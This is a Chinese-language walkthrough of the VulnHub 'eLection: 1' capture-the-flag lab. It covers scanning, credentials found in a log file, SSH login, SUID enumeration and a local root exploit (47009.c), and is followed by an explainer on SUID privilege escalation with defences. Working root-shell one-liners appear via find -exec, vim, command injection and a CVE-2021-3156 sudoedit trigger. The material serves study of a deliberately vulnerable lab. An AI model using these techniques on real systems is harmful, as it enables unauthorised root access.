eLection: 1
来自 <eLection: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.196
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.196
4,访问一下80端口存在的服务
是默认的Apache页面
dirsearch -u http://192.168.23.196 -x 404,403,500
查看/robots.txt
还存在/phpnyadmin
还有/election
再扫描这个页面的子目录
dirsearch -u http://192.168.23.196/election -x 404,403,500
日志文件里面找到用户名和密码love/P@$$w0rd@123
5,使用ssh直接登录
ssh love@192.168.23.196
然后进行信息收集
寻找具有suid权限的特殊二进制文件
find / -perm -4000 -type f 2>/dev/null
- /:从根目录开始递归搜索整个文件系统。
- -perm -4000:匹配权限模式。4000 是 SUID 位的八进制值,- 表示“所有指定权限位必须被设置”。即仅筛选出 SUID 权限被启用的文件。
- -type f:仅搜索普通文件(排除目录、设备文件等)。
- 2>/dev/null:将标准错误输出(如权限不足的警告)重定向到空设备,使结果更清晰。
搜索这个有无可利用漏洞
将文件转储下来
然后kali开启http服务
在靶场上下载这个47009.c文件
编译文件,然后给权限执行,提权变成root用户
得到/root下的flag
深度解析:为什么 SUID 权限的二进制文件可被提权利用?
一、SUID 权限的本质
在 Linux/Unix 系统中,SUID(Set User ID) 是一种特殊的文件权限标志。当用户执行一个设置了 SUID 位的程序时,该程序会以 文件所有者(Owner)的权限 运行,而非执行者的权限。例如:
- 若一个程序属主是 root,且设置了 SUID,普通用户执行时,该程序会暂时获得 root 权限。
关键机制:
- 进程的 有效用户ID(EUID) 会被设置为文件属主的 UID。
- 例如:/usr/bin/passwd 的属主是 root,普通用户执行 passwd 修改密码时,EUID 会变为 0(root),从而允许写入 /etc/shadow。
二、提权的核心逻辑
SUID 程序本身并不直接导致提权,但若程序存在以下漏洞,攻击者可通过它 继承高权限,进而执行恶意操作:
1. 程序逻辑漏洞
如果 SUID 程序的代码存在安全缺陷,攻击者可利用漏洞 以高权限执行任意代码。常见漏洞类型包括:
- 命令注入:程序拼接用户输入到系统命令中(如 system()、popen())。
- 示例:程序调用 system("backup_script " + user_input),用户输入 ; /bin/sh,实际执行 backup_script ; /bin/sh,启动 root shell。
- 缓冲区溢出:程序未对输入长度做检查,覆盖栈/堆数据,劫持程序执行流程。
- 示例:通过溢出覆盖返回地址,跳转到恶意代码(shellcode),以 root 权限执行。
- 环境变量劫持:程序依赖环境变量(如 PATH、LD_PRELOAD)加载外部资源。
- 示例:若程序调用 system("ls"),攻击者可修改 PATH,使 ls 指向恶意脚本,以 root 权限执行。
- 文件操作漏洞:程序以高权限读写敏感文件(如 /etc/passwd)。
- 示例:程序未检查用户输入的文件路径,导致攻击者覆盖 /etc/shadow。
2. 滥用程序功能
某些 SUID 程序的功能本身可被“合法滥用”来提权:
- 启动子进程:若 SUID 程序能启动其他进程(如 bash、sh),子进程会继承 EUID。
- 示例:/usr/bin/find 的 -exec 参数可执行命令:
find / -name test -exec /bin/sh \; # 以 root 权限启动 shell
- 示例:/usr/bin/find 的 -exec 参数可执行命令:
- 写入敏感文件:程序有权限修改系统文件(如 crontab、sudoers)。
- 示例:通过 SUID 程序写入 /etc/crontab,添加恶意任务,由 cron 以 root 权限执行。
3. 配置错误
管理员可能错误地为危险程序设置 SUID 权限:
- 自定义脚本:Shell/Python 脚本设置 SUID 通常是无效的(因解释器会忽略 SUID),但若错误配置,可能引发风险。
- 不必要的 SUID:例如为文本编辑器 vim 设置 SUID,允许用户通过 :!sh 启动 root shell。
三、提权的具体步骤(以命令注入为例)
假设发现一个 SUID 程序 /usr/bin/vulnerable,属主为 root,代码如下:
#include <stdlib.h> |
攻击过程:
- 确认 SUID 权限:
ls -l /usr/bin/vulnerable
-rwsr-xr-x 1 root root 16384 Jan 1 00:00 /usr/bin/vulnerable # 设置了 SUID - 利用命令注入:
/usr/bin/vulnerable "/bin/sh" # 执行命令 `/bin/sh`,继承 root 权限 - 获得 root shell:
whoami # 输出 root
四、经典提权案例
- CVE-2021-3156(sudo 堆溢出漏洞):
- 漏洞类型:缓冲区溢出。
- 影响:攻击者可通过 sudoedit 以 root 权限执行任意代码。
- 利用命令:
sudoedit -s '\' $(perl -e 'print "A" x 65536') # 触发溢出,获取 root shell
- /usr/bin/find 的 -exec 参数:
find / -name test -exec /bin/sh \; # 启动 root shell - /usr/bin/vim(配置错误):
vim -c ':!/bin/sh' # 若 vim 有 SUID,可启动 root shell
五、防御措施
- 最小化 SUID 程序:
- 定期审计:find / -perm -4000 -type f。
- 移除非必要 SUID 权限:chmod u-s /path/to/file。
- 代码安全实践:
- 避免在 SUID 程序中使用 system()、popen() 等危险函数。
- 严格过滤用户输入(如使用白名单机制)。
- 权限隔离:
- 为服务分配低权限用户,而非直接使用 root。
- 系统加固:
- 使用 grsecurity、AppArmor 等限制进程行为。
- 启用 SELinux 的强制访问控制(MAC)。